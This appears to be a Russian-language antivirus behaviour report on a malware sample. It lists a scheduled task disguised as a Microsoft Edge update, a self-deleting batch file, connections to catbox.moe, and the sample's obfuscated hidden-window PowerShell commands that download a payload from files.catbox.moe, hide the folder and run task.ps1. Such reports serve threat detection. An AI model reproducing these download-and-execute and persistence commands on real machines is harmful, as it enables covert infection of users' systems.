Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoftedgeupdatetask
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\1.bat
Удаляет файлы, которые сам же создал
- %TEMP%\1.bat
Сетевая активность
Подключается к
- 'fi###.catbox.moe':443
TCP
Другие
- 'fi###.catbox.moe':443
UDP
- DNS ASK fi###.catbox.moe
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd.exe /c "%TEMP%\1.bat"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\1.bat"
- '<SYSTEM32>\attrib.exe' +h "%APPDATA%\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoPr"o"file -Execu"t"ionP"o"lic"y" Byp"a"ss -Windo"w"Style Hid"d"en -Com"m"and "$action = New-ScheduledT"a"skAction -Execute 'powershell.exe' -Argument '-NoProfile -Exe"c"utionPo"l"icy B"y"pas...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoPr"o"file -Exe"c"utionPol"i"cy By"p"ass -Win"d"owStyle H"i"dd"e"n -Co"m"mand "Invo"k"e-W"e"bRequ"e"st 'ht"t"ps://"f"iles."c"atbo"x".moe/gmxpmy.txt' -OutFile '%APPDATA%\Mi"c"roso"f"t\Wi"n"dow...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -N"o"Profi"l"e -Execu"t"ionPol"i"cy Bypa"s"s -WindowSt"y"le Hi"d"den -Fi"l"e "%APPDATA%\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1"
